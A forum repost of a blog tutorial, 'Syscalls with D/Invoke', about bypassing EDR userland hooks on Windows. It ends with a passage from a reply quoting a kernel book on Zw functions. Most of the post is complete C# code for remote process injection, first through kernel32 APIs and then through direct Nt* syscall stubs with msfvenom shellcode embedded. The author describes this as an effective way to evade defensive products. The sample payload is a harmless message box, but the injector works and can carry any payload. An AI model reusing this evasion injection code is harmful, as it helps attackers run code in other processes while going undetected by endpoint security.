Nytro Posted January 25, 2021 Report Posted January 25, 2021 Syscalls with D/Invoke Rasta Mouse Jan 24, 2021 11 min read c#.netdinvokesyscallsedr Windows Architecture Primer x86 processors have 4 privilege levels, known as rings, that control access to memory and CPU operations. They range from Ring 0, the most privileged, to Ring 3. Image credit: Wikipedia Windows only supports Rings 0 and 3, affectionately known as Kernel and User Mode respectively. The majority of user activity will occur in Ring 3 but applications may cross into Ring 0 when calling a variety of APIs - this is required when accessing the filesystem for example. There is also a hierarchy to the native APIs. User applications will generally call “high-level” APIs in kernel32 and user32 etc, and those APIs will call “low-level” APIs in ntdll. Image credit: TechNet If you’re familiar with basic process injection, you will know that APIs such as OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThread are often used - all of which live inside kernel32. OpenProcess itself calls NtOpenProcess which can be observed in a tool such as API Monitor. Security vendors realised that if they were going to detect and/or block this type of activity, then they would need to hook these APIs. There are different types of hooks that we won’t look into detail here - but think of a hook as a type of man-in-the-middle. Instead of pointing to the real function, an API call is redirected to a vendor-controlled module where it can be inspected and/or dropped. Image credit: Practical Malware Analysis At first, vendors were only hooking APIs within kernel32, such as OpenProcess. Attackers could circumvent this by calling NtOpenProcess directly (illustrated above) which would effectively bypass the vendors hook. Vendors obviously started to push back by also hooking the corresponding Nt* functions as well. So where do we go next? Syscalls A system call (syscall) is the means by which ntdll transitions to the kernel. We can “unassemble” NtOpenProcess in WinDBG easily enough to see the instructions. 0:000> u ntdll!NtOpenProcess ntdll!NtOpenProcess: 00007ffd`8570c460 4c8bd1 mov r10,rcx 00007ffd`8570c463 b826000000 mov eax,26h 00007ffd`8570c468 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffd`8570c470 7503 jne ntdll!NtOpenProcess+0x15 (00007ffd`8570c475) 00007ffd`8570c472 0f05 syscall 00007ffd`8570c474 c3 ret 00007ffd`8570c475 cd2e int 2Eh 00007ffd`8570c477 c3 ret There are also excellent syscall lookup tables that we can use as well. D/Invoke has an excellent method called GetSyscallStub that will read ntdll from disk and find the syscall for a given API. To demonstrate - this is the API trace of the typical OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateRemoteThread (I’ve blurred ones that are not directly related to the injection to preserve the clarity of the calls we want to focus on). This was tested with the following code: using System; using System.Runtime.InteropServices; namespace ConsoleApp1 { class Program { // msfvenom -p windows/x64/messagebox EXITFUNC=thread -f csharp static readonly byte[] _shellcode = new byte[323] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d, 0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48, 0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f, 0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73, 0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 }; static void Main(string[] args) { var hProcess = OpenProcess( 0x001F0FFF, false, int.Parse(args[0])); var hRegion = VirtualAllocEx( hProcess, IntPtr.Zero, (uint)_shellcode.Length, 0x1000 | 0x2000, 0x04); // PAGE_READWRITE WriteProcessMemory( hProcess, hRegion, _shellcode, (uint)_shellcode.Length, out UIntPtr _); VirtualProtectEx( hProcess, hRegion, (UIntPtr)_shellcode.Length, 0x20, // PAGE_EXECUTE_READ out uint _); CreateRemoteThread( hProcess, IntPtr.Zero, 0, hRegion, IntPtr.Zero, 0, IntPtr.Zero); } [DllImport("kernel32.dll")] static extern IntPtr OpenProcess( int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern bool VirtualProtectEx( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } } We shall now replace the standard P/Invoke with syscalls for each of these APIs. GetSyscallStub The first step is to replace the P/Invoke signatures with corresponding delegates targeting the Nt functions. For instance, OpenProcess will be replaced with: [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtOpenProcess( ref IntPtr ProcessHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId); [StructLayout(LayoutKind.Sequential, Pack = 0)] struct OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public IntPtr ObjectName; public uint Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } [StructLayout(LayoutKind.Sequential)] struct CLIENT_ID { public IntPtr UniqueProcess; public IntPtr UniqueThread; } (NTSTATUS is a pretty big enum that I’ve excluded for brevity). Next, get a pointer to the syscall: IntPtr stub = Generic.GetSyscallStub("NtOpenProcess"); GetSyscallStub only takes a FunctionName and not a target DLL, since syscalls only exist in ntdll. Marshal that pointer to the delegate: NtOpenProcess ntOpenProcess = (NtOpenProcess) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); And then call the method: IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)uint.Parse(args[0]) }; NTSTATUS result = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); The return code should be Success and hProcess now contains a value. result Success hProcess 0x00000000000003bc Final Code using DInvoke.DynamicInvoke; using System; using System.Runtime.InteropServices; namespace ConsoleApp1 { class Program { // msfvenom -p windows/x64/messagebox EXITFUNC=thread -f csharp static readonly byte[] _shellcode = new byte[323] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d, 0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48, 0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f, 0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73, 0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 }; static void Main(string[] args) { // NtOpenProcess IntPtr stub = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)uint.Parse(args[0]) }; NTSTATUS result = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = Generic.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)_shellcode.Length; result = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = Generic.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(_shellcode.Length); Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length); uint bytesWritten = 0; result = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)_shellcode.Length, ref bytesWritten); // NtProtectVirtualMemory stub = Generic.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; result = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = Generic.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx) Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; result = ntCreateThreadEx( out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtOpenProcess( ref IntPtr ProcessHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtWriteVirtualMemory( IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtProtectVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate NTSTATUS NtCreateThreadEx( out IntPtr threadHandle, ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList); [StructLayout(LayoutKind.Sequential, Pack = 0)] struct OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public IntPtr ObjectName; public uint Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } [StructLayout(LayoutKind.Sequential)] struct CLIENT_ID { public IntPtr UniqueProcess; public IntPtr UniqueThread; } [Flags] enum ACCESS_MASK : uint { DELETE = 0x00010000, READ_CONTROL = 0x00020000, WRITE_DAC = 0x00040000, WRITE_OWNER = 0x00080000, SYNCHRONIZE = 0x00100000, STANDARD_RIGHTS_REQUIRED = 0x000F0000, STANDARD_RIGHTS_READ = 0x00020000, STANDARD_RIGHTS_WRITE = 0x00020000, STANDARD_RIGHTS_EXECUTE = 0x00020000, STANDARD_RIGHTS_ALL = 0x001F0000, SPECIFIC_RIGHTS_ALL = 0x0000FFF, ACCESS_SYSTEM_SECURITY = 0x01000000, MAXIMUM_ALLOWED = 0x02000000, GENERIC_READ = 0x80000000, GENERIC_WRITE = 0x40000000, GENERIC_EXECUTE = 0x20000000, GENERIC_ALL = 0x10000000, DESKTOP_READOBJECTS = 0x00000001, DESKTOP_CREATEWINDOW = 0x00000002, DESKTOP_CREATEMENU = 0x00000004, DESKTOP_HOOKCONTROL = 0x00000008, DESKTOP_JOURNALRECORD = 0x00000010, DESKTOP_JOURNALPLAYBACK = 0x00000020, DESKTOP_ENUMERATE = 0x00000040, DESKTOP_WRITEOBJECTS = 0x00000080, DESKTOP_SWITCHDESKTOP = 0x00000100, WINSTA_ENUMDESKTOPS = 0x00000001, WINSTA_READATTRIBUTES = 0x00000002, WINSTA_ACCESSCLIPBOARD = 0x00000004, WINSTA_CREATEDESKTOP = 0x00000008, WINSTA_WRITEATTRIBUTES = 0x00000010, WINSTA_ACCESSGLOBALATOMS = 0x00000020, WINSTA_EXITWINDOWS = 0x00000040, WINSTA_ENUMERATE = 0x00000100, WINSTA_READSCREEN = 0x00000200, WINSTA_ALL_ACCESS = 0x0000037F, SECTION_ALL_ACCESS = 0x10000000, SECTION_QUERY = 0x0001, SECTION_MAP_WRITE = 0x0002, SECTION_MAP_READ = 0x0004, SECTION_MAP_EXECUTE = 0x0008, SECTION_EXTEND_SIZE = 0x0010 }; [Flags] enum NTSTATUS : uint { // Success Success = 0x00000000, Wait0 = 0x00000000, Wait1 = 0x00000001, Wait2 = 0x00000002, Wait3 = 0x00000003, Wait63 = 0x0000003f, Abandoned = 0x00000080, AbandonedWait0 = 0x00000080, AbandonedWait1 = 0x00000081, AbandonedWait2 = 0x00000082, AbandonedWait3 = 0x00000083, AbandonedWait63 = 0x000000bf, UserApc = 0x000000c0, KernelApc = 0x00000100, Alerted = 0x00000101, Timeout = 0x00000102, Pending = 0x00000103, Reparse = 0x00000104, MoreEntries = 0x00000105, NotAllAssigned = 0x00000106, SomeNotMapped = 0x00000107, OpLockBreakInProgress = 0x00000108, VolumeMounted = 0x00000109, RxActCommitted = 0x0000010a, NotifyCleanup = 0x0000010b, NotifyEnumDir = 0x0000010c, NoQuotasForAccount = 0x0000010d, PrimaryTransportConnectFailed = 0x0000010e, PageFaultTransition = 0x00000110, PageFaultDemandZero = 0x00000111, PageFaultCopyOnWrite = 0x00000112, PageFaultGuardPage = 0x00000113, PageFaultPagingFile = 0x00000114, CrashDump = 0x00000116, ReparseObject = 0x00000118, NothingToTerminate = 0x00000122, ProcessNotInJob = 0x00000123, ProcessInJob = 0x00000124, ProcessCloned = 0x00000129, FileLockedWithOnlyReaders = 0x0000012a, FileLockedWithWriters = 0x0000012b, // Informational Informational = 0x40000000, ObjectNameExists = 0x40000000, ThreadWasSuspended = 0x40000001, WorkingSetLimitRange = 0x40000002, ImageNotAtBase = 0x40000003, RegistryRecovered = 0x40000009, // Warning Warning = 0x80000000, GuardPageViolation = 0x80000001, DatatypeMisalignment = 0x80000002, Breakpoint = 0x80000003, SingleStep = 0x80000004, BufferOverflow = 0x80000005, NoMoreFiles = 0x80000006, HandlesClosed = 0x8000000a, PartialCopy = 0x8000000d, DeviceBusy = 0x80000011, InvalidEaName = 0x80000013, EaListInconsistent = 0x80000014, NoMoreEntries = 0x8000001a, LongJump = 0x80000026, DllMightBeInsecure = 0x8000002b, // Error Error = 0xc0000000, Unsuccessful = 0xc0000001, NotImplemented = 0xc0000002, InvalidInfoClass = 0xc0000003, InfoLengthMismatch = 0xc0000004, AccessViolation = 0xc0000005, InPageError = 0xc0000006, PagefileQuota = 0xc0000007, InvalidHandle = 0xc0000008, BadInitialStack = 0xc0000009, BadInitialPc = 0xc000000a, InvalidCid = 0xc000000b, TimerNotCanceled = 0xc000000c, InvalidParameter = 0xc000000d, NoSuchDevice = 0xc000000e, NoSuchFile = 0xc000000f, InvalidDeviceRequest = 0xc0000010, EndOfFile = 0xc0000011, WrongVolume = 0xc0000012, NoMediaInDevice = 0xc0000013, NoMemory = 0xc0000017, ConflictingAddresses = 0xc0000018, NotMappedView = 0xc0000019, UnableToFreeVm = 0xc000001a, UnableToDeleteSection = 0xc000001b, IllegalInstruction = 0xc000001d, AlreadyCommitted = 0xc0000021, AccessDenied = 0xc0000022, BufferTooSmall = 0xc0000023, ObjectTypeMismatch = 0xc0000024, NonContinuableException = 0xc0000025, BadStack = 0xc0000028, NotLocked = 0xc000002a, NotCommitted = 0xc000002d, InvalidParameterMix = 0xc0000030, ObjectNameInvalid = 0xc0000033, ObjectNameNotFound = 0xc0000034, ObjectNameCollision = 0xc0000035, ObjectPathInvalid = 0xc0000039, ObjectPathNotFound = 0xc000003a, ObjectPathSyntaxBad = 0xc000003b, DataOverrun = 0xc000003c, DataLate = 0xc000003d, DataError = 0xc000003e, CrcError = 0xc000003f, SectionTooBig = 0xc0000040, PortConnectionRefused = 0xc0000041, InvalidPortHandle = 0xc0000042, SharingViolation = 0xc0000043, QuotaExceeded = 0xc0000044, InvalidPageProtection = 0xc0000045, MutantNotOwned = 0xc0000046, SemaphoreLimitExceeded = 0xc0000047, PortAlreadySet = 0xc0000048, SectionNotImage = 0xc0000049, SuspendCountExceeded = 0xc000004a, ThreadIsTerminating = 0xc000004b, BadWorkingSetLimit = 0xc000004c, IncompatibleFileMap = 0xc000004d, SectionProtection = 0xc000004e, EasNotSupported = 0xc000004f, EaTooLarge = 0xc0000050, NonExistentEaEntry = 0xc0000051, NoEasOnFile = 0xc0000052, EaCorruptError = 0xc0000053, FileLockConflict = 0xc0000054, LockNotGranted = 0xc0000055, DeletePending = 0xc0000056, CtlFileNotSupported = 0xc0000057, UnknownRevision = 0xc0000058, RevisionMismatch = 0xc0000059, InvalidOwner = 0xc000005a, InvalidPrimaryGroup = 0xc000005b, NoImpersonationToken = 0xc000005c, CantDisableMandatory = 0xc000005d, NoLogonServers = 0xc000005e, NoSuchLogonSession = 0xc000005f, NoSuchPrivilege = 0xc0000060, PrivilegeNotHeld = 0xc0000061, InvalidAccountName = 0xc0000062, UserExists = 0xc0000063, NoSuchUser = 0xc0000064, GroupExists = 0xc0000065, NoSuchGroup = 0xc0000066, MemberInGroup = 0xc0000067, MemberNotInGroup = 0xc0000068, LastAdmin = 0xc0000069, WrongPassword = 0xc000006a, IllFormedPassword = 0xc000006b, PasswordRestriction = 0xc000006c, LogonFailure = 0xc000006d, AccountRestriction = 0xc000006e, InvalidLogonHours = 0xc000006f, InvalidWorkstation = 0xc0000070, PasswordExpired = 0xc0000071, AccountDisabled = 0xc0000072, NoneMapped = 0xc0000073, TooManyLuidsRequested = 0xc0000074, LuidsExhausted = 0xc0000075, InvalidSubAuthority = 0xc0000076, InvalidAcl = 0xc0000077, InvalidSid = 0xc0000078, InvalidSecurityDescr = 0xc0000079, ProcedureNotFound = 0xc000007a, InvalidImageFormat = 0xc000007b, NoToken = 0xc000007c, BadInheritanceAcl = 0xc000007d, RangeNotLocked = 0xc000007e, DiskFull = 0xc000007f, ServerDisabled = 0xc0000080, ServerNotDisabled = 0xc0000081, TooManyGuidsRequested = 0xc0000082, GuidsExhausted = 0xc0000083, InvalidIdAuthority = 0xc0000084, AgentsExhausted = 0xc0000085, InvalidVolumeLabel = 0xc0000086, SectionNotExtended = 0xc0000087, NotMappedData = 0xc0000088, ResourceDataNotFound = 0xc0000089, ResourceTypeNotFound = 0xc000008a, ResourceNameNotFound = 0xc000008b, ArrayBoundsExceeded = 0xc000008c, FloatDenormalOperand = 0xc000008d, FloatDivideByZero = 0xc000008e, FloatInexactResult = 0xc000008f, FloatInvalidOperation = 0xc0000090, FloatOverflow = 0xc0000091, FloatStackCheck = 0xc0000092, FloatUnderflow = 0xc0000093, IntegerDivideByZero = 0xc0000094, IntegerOverflow = 0xc0000095, PrivilegedInstruction = 0xc0000096, TooManyPagingFiles = 0xc0000097, FileInvalid = 0xc0000098, InsufficientResources = 0xc000009a, InstanceNotAvailable = 0xc00000ab, PipeNotAvailable = 0xc00000ac, InvalidPipeState = 0xc00000ad, PipeBusy = 0xc00000ae, IllegalFunction = 0xc00000af, PipeDisconnected = 0xc00000b0, PipeClosing = 0xc00000b1, PipeConnected = 0xc00000b2, PipeListening = 0xc00000b3, InvalidReadMode = 0xc00000b4, IoTimeout = 0xc00000b5, FileForcedClosed = 0xc00000b6, ProfilingNotStarted = 0xc00000b7, ProfilingNotStopped = 0xc00000b8, NotSameDevice = 0xc00000d4, FileRenamed = 0xc00000d5, CantWait = 0xc00000d8, PipeEmpty = 0xc00000d9, CantTerminateSelf = 0xc00000db, InternalError = 0xc00000e5, InvalidParameter1 = 0xc00000ef, InvalidParameter2 = 0xc00000f0, InvalidParameter3 = 0xc00000f1, InvalidParameter4 = 0xc00000f2, InvalidParameter5 = 0xc00000f3, InvalidParameter6 = 0xc00000f4, InvalidParameter7 = 0xc00000f5, InvalidParameter8 = 0xc00000f6, InvalidParameter9 = 0xc00000f7, InvalidParameter10 = 0xc00000f8, InvalidParameter11 = 0xc00000f9, InvalidParameter12 = 0xc00000fa, ProcessIsTerminating = 0xc000010a, MappedFileSizeZero = 0xc000011e, TooManyOpenedFiles = 0xc000011f, Cancelled = 0xc0000120, CannotDelete = 0xc0000121, InvalidComputerName = 0xc0000122, FileDeleted = 0xc0000123, SpecialAccount = 0xc0000124, SpecialGroup = 0xc0000125, SpecialUser = 0xc0000126, MembersPrimaryGroup = 0xc0000127, FileClosed = 0xc0000128, TooManyThreads = 0xc0000129, ThreadNotInProcess = 0xc000012a, TokenAlreadyInUse = 0xc000012b, PagefileQuotaExceeded = 0xc000012c, CommitmentLimit = 0xc000012d, InvalidImageLeFormat = 0xc000012e, InvalidImageNotMz = 0xc000012f, InvalidImageProtect = 0xc0000130, InvalidImageWin16 = 0xc0000131, LogonServer = 0xc0000132, DifferenceAtDc = 0xc0000133, SynchronizationRequired = 0xc0000134, DllNotFound = 0xc0000135, IoPrivilegeFailed = 0xc0000137, OrdinalNotFound = 0xc0000138, EntryPointNotFound = 0xc0000139, ControlCExit = 0xc000013a, InvalidAddress = 0xc0000141, PortNotSet = 0xc0000353, DebuggerInactive = 0xc0000354, CallbackBypass = 0xc0000503, PortClosed = 0xc0000700, MessageLost = 0xc0000701, InvalidMessage = 0xc0000702, RequestCanceled = 0xc0000703, RecursiveDispatch = 0xc0000704, LpcReceiveBufferExpected = 0xc0000705, LpcInvalidConnectionUsage = 0xc0000706, LpcRequestsNotAllowed = 0xc0000707, ResourceInUse = 0xc0000708, ProcessIsProtected = 0xc0000712, VolumeDirty = 0xc0000806, FileCheckedOut = 0xc0000901, CheckOutRequired = 0xc0000902, BadFileType = 0xc0000903, FileTooLarge = 0xc0000904, FormsAuthRequired = 0xc0000905, VirusInfected = 0xc0000906, VirusDeleted = 0xc0000907, TransactionalConflict = 0xc0190001, InvalidTransaction = 0xc0190002, TransactionNotActive = 0xc0190003, TmInitializationFailed = 0xc0190004, RmNotActive = 0xc0190005, RmMetadataCorrupt = 0xc0190006, TransactionNotJoined = 0xc0190007, DirectoryNotRm = 0xc0190008, CouldNotResizeLog = 0xc0190009, TransactionsUnsupportedRemote = 0xc019000a, LogResizeInvalidSize = 0xc019000b, RemoteFileVersionMismatch = 0xc019000c, CrmProtocolAlreadyExists = 0xc019000f, TransactionPropagationFailed = 0xc0190010, CrmProtocolNotFound = 0xc0190011, TransactionSuperiorExists = 0xc0190012, TransactionRequestNotValid = 0xc0190013, TransactionNotRequested = 0xc0190014, TransactionAlreadyAborted = 0xc0190015, TransactionAlreadyCommitted = 0xc0190016, TransactionInvalidMarshallBuffer = 0xc0190017, CurrentTransactionNotValid = 0xc0190018, LogGrowthFailed = 0xc0190019, ObjectNoLongerExists = 0xc0190021, StreamMiniversionNotFound = 0xc0190022, StreamMiniversionNotValid = 0xc0190023, MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, CantOpenMiniversionWithModifyIntent = 0xc0190025, CantCreateMoreStreamMiniversions = 0xc0190026, HandleNoLongerValid = 0xc0190028, NoTxfMetadata = 0xc0190029, LogCorruptionDetected = 0xc0190030, CantRecoverWithHandleOpen = 0xc0190031, RmDisconnected = 0xc0190032, EnlistmentNotSuperior = 0xc0190033, RecoveryNotNeeded = 0xc0190034, RmAlreadyStarted = 0xc0190035, FileIdentityNotPersistent = 0xc0190036, CantBreakTransactionalDependency = 0xc0190037, CantCrossRmBoundary = 0xc0190038, TxfDirNotEmpty = 0xc0190039, IndoubtTransactionsExist = 0xc019003a, TmVolatile = 0xc019003b, RollbackTimerExpired = 0xc019003c, TxfAttributeCorrupt = 0xc019003d, EfsNotAllowedInTransaction = 0xc019003e, TransactionalOpenNotAllowed = 0xc019003f, TransactedMappingUnsupportedRemote = 0xc0190040, TxfMetadataAlreadyPresent = 0xc0190041, TransactionScopeCallbacksNotSet = 0xc0190042, TransactionRequiredPromotion = 0xc0190043, CannotExecuteFileInTransaction = 0xc0190044, TransactionsNotFrozen = 0xc0190045, MaximumNtStatus = 0xffffffff } } } This is definately not as straight forward as using P/Invoke, but it’s a very effective means of evading defensive products that employ userland hooking. API Monitor does not detect the use of these APIs - but feel free to verify that for yourself! Sursa: https://offensivedefence.co.uk/posts/dinvoke-syscalls/ Quote
gigiRoman Posted January 25, 2021 Report Posted January 25, 2021 Hei @Nytro tocmai ce citeam cartea Kernel Development a lui Pavel Yosifovich si am descoperit asta: "If you take a look at the exported functions list from NtOsKrnl.exe, you’ll find more functions that are actually documented in the Windows Driver Kit; this is just a fact of kernel developer’s life - not everything is documented. One set of functions bears discussion at this point- the Zw prefixed functions. These functions mirror native APIs available as gateways from NtDll.Dll with the actual implementation within the Executive. When an Nt function is called from user mode, such as NtCreateFile, it reaches the Executive at the actual NtCreateFile implementation. At this point, NtCreateFile might do various checks based on the fact that the original caller is from user mode. This caller information is stored on a thread-by-thread basis, in the undocumented PreviousMode member in the KTHREAD structure for each thread. On the other hand, if a kernel driver needs to call a system service, it should not be subjected to the same checks and constraints imposed on user mode callers. This is where the Zw functions come into play. Calling a Zw function sets the previous caller mode to 